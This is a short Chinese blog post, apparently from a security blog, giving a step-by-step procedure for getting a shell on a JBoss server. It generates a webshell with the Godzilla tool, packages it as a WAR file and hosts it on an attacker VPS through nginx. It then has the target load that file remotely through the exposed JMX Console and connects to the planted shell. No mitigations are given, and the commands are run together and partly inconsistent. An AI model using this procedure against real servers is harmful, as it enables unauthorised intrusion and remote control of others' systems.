JBoss 手工GetShell

Posted 2021-08-12 轩公子谈技术

哥斯拉生成木马  压缩zip 改名war

shell.jsp  ->   shell.zip  -> shell.war

把shell.war 上传到vps 开启nginx 

yum install nginx -ysystemctl start nginxcd /usr/share/nginx/htmlrz shell.warchmod 755 -R /var/share/nginx/html
网页访问：http://xx.xx.xx.xx/shell.war

点击JMX Console 进入

找到 jboss.deployment

点击invoke 看到成功后 就说明已经远程加载war了

返回到主页

http://xx.xx.xx.xx/jmx-console

找到

jboss.web.deployment

搜索war的名字

shell.war

然后浏览器访问

http://xx.xx.xx.xx/shell/shell.jsp

哥斯拉连接

也有集成的工具，但是报错了